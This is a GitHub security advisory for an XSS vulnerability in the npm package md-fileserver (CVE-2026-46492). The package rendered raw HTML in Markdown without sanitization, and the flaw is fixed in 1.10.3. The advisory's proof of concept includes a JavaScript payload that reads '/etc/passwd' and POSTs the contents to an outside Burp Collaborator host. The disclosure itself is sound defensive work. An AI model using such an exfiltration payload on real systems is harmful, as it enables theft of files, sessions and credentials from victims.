GitHub Advisoryadvisory · npm

GHSA-32q2-hhr5-6qvv md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)

HIGH Published 2026-05-21 Modified 2026-06-09 Official page ↗
Aliases
CVE-2026-46492
Ecosystem
npm
Packages
md-fileserver
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weaknesses
CWE-80, CWE-87
Reviewed
2026-05-21

Affected packages

• npm md-fileserver: < 1.10.3 → fixed in 1.10.3

Description

Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. Details An attacker can craft malicious Markdown content containing tags or event handlers (e.g., ). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser. Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML. lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output. lib/pages/template.html The rendered Markdown is injected into the HTML template using without sanitization or output encoding. PoC Create a pwn.md ``` Hello fetch('/etc/passwd', { credentials: 'include' }) .then(r => r.text()) .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t })); ``` Open it on browser. View the HTTP request in Burp Collaborator. Impact Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to: • Session hijacking • Account takeover • Credential theft • Defacement or injection of malicious content • Exfiltration of sensitive data via API tokens, CSRF tokens, or user information This affects all users who can view Markdown content within the application.

Related

Alias · CVE (1)

  • CVE-2026-46492 md-fileserver allows for local viewing of markdown files in a browser. vulnerability

Weakness · CWE (2)

  • CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page weakness
  • CWE-87 Improper Neutralization of Alternate XSS Syntax weakness

References